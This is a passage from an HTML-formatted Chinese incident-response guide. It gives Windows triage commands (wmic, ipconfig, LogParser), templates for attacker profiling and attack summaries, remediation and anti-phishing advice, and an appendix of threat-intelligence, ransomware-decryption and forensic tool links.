0px;">安装软件列表</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>wmic /<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">NAMESPACE</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\\root\CIMV2&#34;</span> PATH Win32_Product <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span> name /FORMAT:table<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">快捷方式列表</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>wmic PATH Win32_ShortcutFile <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span> name<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">DNS缓存记录</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">ipconfig</span> /displaydns<br/></code></pre><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x06 涉及恶意文件等清理</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">参考查找出的恶意文件进行清理，同时记得进行备份，以备查</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x07 研判结果</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">7.1 攻击者画像</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">IP</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">域名</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">shell密码/命名</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">昵称ID</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">手机号</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">邮箱</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">QQ</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">微信</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">其他……</span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">7.2 总结攻击事件</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">总结攻击事件链、路径、工具、IP、攻击手法(钓鱼、社工、web渗透、水坑、鱼叉)</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">7.3 总结存在漏洞的链路</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">如何利用多个漏洞进行攻击渗透等</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">7.4 总结攻击面</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">是否横向移动</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">影响资产数量</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">影响数据范围（是否有数据丢失）</span></p></li></ul><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x08 处置建议</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">8.1 已执行操作</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">日志备份</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意文件备份</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">恶意文件清理</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">非法进程终止</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">非法连接断开</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">非法IP阻断（安全设备监控）</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">非法创建的账号清理</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">禁用或删除多余及可疑的账号</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">其他……</span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">8.2 后续建议</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1.针对性建议</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">针对攻击链路存在的风险进行处理建议</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">2.通用建议</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">程序、插件、模版等版本升级、补丁修复</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">实时监控、加强监测</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">参看历史漏洞报告，及时修复安全风险</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">服务器及应用程序权限最小化管理</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">上线下删除测试账号</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">远程连接3389/22执行IP白名单</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">加强口令管理</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">细分口令安全、弱口令修复</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">3.钓鱼邮件防范措施：</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">对公司来说：</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1). 组织员工进行钓鱼邮件防范培训,提高全员网络空间安全防范意识;<br/>2). 在公司内部不定期进行钓鱼邮件安全测试，及时发现问题并采取补救措施;<br/>3). 使用高安全性邮件系统，并及时配置安全过滤机制;<br/>4). 敦促员工安装杀毒软件,并及时更新病毒库.</p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">对个人来说:</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1). 认真学习CNCERT发布的《钓鱼邮件攻击防范指南》，做到“五要”“五不要”，增强安全防范意识;<br/>2). 不要轻信发件人地址显示的“显示名”,遇到索要敏感信息的邮件需要及时通过电话核实;<br/>3). 切忌轻易打开邮件中文中的短链接,谨防上当受骗,造成财物损失;<br/>4). 安装杀毒软件,邮件附件运行前先进行病毒查杀.</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x09 附录</span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.1 常用在线工具</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">威胁信息管理平台 (Beta)：</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://ti.watcherlab.com/#/search" target="_blank">https://ti.watcherlab.com/#/search</a></span></p></li></ul><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">勒索病毒引擎</span></h5><section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>深信服<br/><a href="https://edr.sangfor.com.cn/#/information/ransom_search" target="_blank">https://edr.sangfor.com.cn/#/information/ransom_search</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>360<br/><a href="https://lesuobingdu.360.cn/" target="_blank">https://lesuobingdu.360.cn/</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>奇安信<br/><a href="https://lesuobingdu.qianxin.com/" target="_blank">https://lesuobingdu.qianxin.com/</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>腾讯<br/><a href="https://guanjia.qq.com/pr/ls/" target="_blank">https://guanjia.qq.com/pr/ls/</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>VenusEye<br/><a href="https://lesuo.venuseye.com.cn/" target="_blank">https://lesuo.venuseye.com.cn/</a></p></li></ul></section><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">反勒索病毒工具</span></h5><section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>腾讯<br/><a href="https://habo.qq.com/tool/index" target="_blank">https://habo.qq.com/tool/index</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>金山毒霸<br/><a href="https://www.duba.net/dbt/wannacry.html" target="_blank">https://www.duba.net/dbt/wannacry.html</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>瑞星<br/><a href="http://it.rising.com.cn/fanglesuo/index.html" target="_blank">http://it.rising.com.cn/fanglesuo/index.html</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>Avast<br/><a href="https://www.avast.com/zh-cn/ransomware-decryption-tools" target="_blank">https://www.avast.com/zh-cn/ransomware-decryption-tools</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>Github tools<br/><a href="https://github.com/jiansiting/Decryption-Tools" target="_blank">https://github.com/jiansiting/Decryption-Tools</a></p></li></ul></section><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://www.virustotal.com" target="_blank">https://www.virustotal.com</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://app.any.run/" target="_blank">https://app.any.run/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://x.threatbook.cn/" target="_blank">https://x.threatbook.cn/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://ti.qianxin.com/" target="_blank">https://ti.qianxin.com/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://www.reg007.com/" target="_blank">https://www.reg007.com/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://www.venuseye.com.cn/" target="_blank">https://www.venuseye.com.cn/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="https://community.riskiq.com/" target="_blank">https://community.riskiq.com/</a></span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.2 常用本地检测工具</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.2.1 Linux</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">linux基线检查脚本GScan <br/><a href="https://github.com/grayddq/GScan" target="_blank">https://github.com/grayddq/GScan</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">Linux病毒扫描工具-ClamAV<br/><a href="http://www.clamav.net/download.html" target="_blank">http://www.clamav.net/download.html</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">security_check(linux)<br/><a href="https://github.com/ppabc/security_check" target="_blank">https://github.com/ppabc/security_check</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">linux-2<br/><a href="https://github.com/T0xst/linux" target="_blank">https://github.com/T0xst/linux</a></p></li></ul><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.2.2 Windows</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">windows下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">msinfo32.exe</code></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">360星图WEB日志分析工具</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">取证工具</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">共享访问监控<a href="https://www.nirsoft.net/utils/networkopenedfiles-x64.zip" target="_blank">https://www.nirsoft.net/utils/networkopenedfiles-x64.zip</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">wifi使用记录<a href="https://www.nirsoft.net/utils/wifihistoryview.zip" target="_blank">https://www.nirsoft.net/utils/wifihistoryview.zip</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">usb使用记录<a href="https://www.nirsoft.net/utils/usblogview.zip" target="_blank">https://www.nirsoft.net/utils/usblogview.zip</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">内存取证DumpIt</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">moonsols <a href="http://www.moonsols.com/" target="_blank">http://www.moonsols.com/</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">Volatility</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><a href="https://www.volatilityfoundation.org/releases-vol3" target="_blank">https://www.volatilityfoundation.org/releases-vol3</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><a href="https://www.volatilityfoundation.org/releases" target="_blank">https://www.volatilityfoundation.org/releases</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">Ghost 镜像浏览<br/><a href="https://www.symantec.com/connect/blogs/ghost-explorer" target="_blank">https://www.symantec.com/connect/blogs/ghost-explorer</a></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">windows 日志分析工具LogParser<br/>下载:<a href="https://www.microsoft.com/en-us/download/confirmation.aspx?id=24659" target="_blank">https://www.microsoft.com/en-us/download/confirmation.aspx?id=24659</a></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">使用：查询用户登录情况</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>LogParser.exe -i:EVT &#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">SELECT</span> TimeGenerated,EXTRACT_TOKEN(Strings,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">5</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 